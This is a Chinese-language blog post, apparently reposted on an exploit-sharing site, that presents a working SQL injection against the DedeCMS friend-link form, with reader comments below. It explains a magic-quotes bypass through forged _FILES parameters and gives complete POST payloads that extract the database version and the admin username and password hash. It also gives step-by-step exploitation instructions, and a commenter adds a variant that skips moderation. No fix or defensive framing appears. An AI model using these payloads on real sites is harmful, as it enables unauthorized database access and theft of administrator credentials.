DedeCMS另一处全版本通杀SQL注入

common.inc.php

这里开始过滤得很完整,往下看

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}

uploadsafe.inc.php

//29行

 $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);

能绕过 GPC

plus\flink.php

虽然都经过 htmlspecialchars

我们看看:

htmlspecialchars(string,quotestyle,character-set)

可选。规定如何编码单引号和双引号。

ENT_COMPAT - 默认。仅编码双引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。

默认情况下仅编码双引号。

这里不是重点,不过也是能利用的条件之一,用于绕过dede自带的ids。

构造webname 值为:

&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

这里解释一下,经过GPC后 webname 变为 pass\\

经过刚才 uploadsafe.inc.php 的函数后

webname 变为 pass\

插入到SQL语句中就变成了

INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','

即吃掉了后面的 ' ,从而实现绕过GPC。

不过ExecuteNoneQuery不支持错误回显,那我们就构造好,让他显示出来吧。于是后面的logo函数就变成:

logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`

ischeck 为1即绕过审核,结果直接显示出来。

完整参数为:

查版本:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

查密码:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

利用过程:
一:网站要支持申请友链
url:/plus/flink_add.php
1
=--------------------------------------------------------利用开始--------------------------
直接填写验证码,抓包
修改POST数据
写人exp:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

validate为验证码,修改提交即可
2
再打开友情链接
url:plus/flink.php
有个无法显示的图片,查看源码.ok
3

 

利用工具网上找的,不保证安全有效

27 条评论

  1. 呵呵

    站长脾气很好啊,要是谁这么问我我早就崩溃了。

    1. 0day5
      @呵呵

      不是脾气好,是大牛们太多了。不小心就被干死了~

  2. 求指教

    我用Fiddler2抓包,抓完以后怎么修改???求教

    1. 0day5
      @求指教

      本站的文章都大多源自网络.并不是都是原创。实际上测试的也不是很多·再说这么多,又不是专职做这个。不可能一一测试

  3. 网络兼职

    网站很不错,无意间发现的,支持一下

  4. 冷笑话

    无意间发现的网站 很不错 挺喜欢的

    1. 0day5
      @冷笑话

      谢谢你的关注~感谢支持

  5. heihui

    火狐有个插件能提交post数据的插件叫什么,:smile:

    1. 0day5
      @heihui

      hackbar

  6. 神兽Helen

    楼上全是逗比

    1. 0day5
      @神兽Helen

      逗逼

  7. junsys

    貌似不能绕过审核

  8. 工具怎么用

    抓包工具怎么用

  9. 你好

    验证码不知道怎么抓

    1. 0day5
      @你好

      validate为验证码,修改提交即

  10. 你好

    希望有详细的教程

    1. 0day5
      @你好

      过程差不多比较详细的了,你再测试测试

  11. 123

    :lol: :mad: :twisted: :roll:

  12. 123

    抓包工具是什么 你的Q是多少。可以加我一下吗

    1. 0day5
      @123

      fiddler

  13. xx

    貌似没有绕过审核啊

  14. littleGee

    绕过管理审核 >> Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&ischeck=1&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\ <<

    1. 123
      @littleGee

      貌似没有一个成功的啊。可否指点一下

      1. 0day5
        @123

        妹的,我只是做分享的,没义务都去一一测试吧,本就是转载的,就如你所说,转载不完全的。没成功和我没关系塞,修复了,你的姿势不对..

    2. huihui
      @littleGee

      绕不过去

      1. 0day5
        @huihui

        建议本地测试先

    3. 123
      @littleGee

      可以吗?

发表评论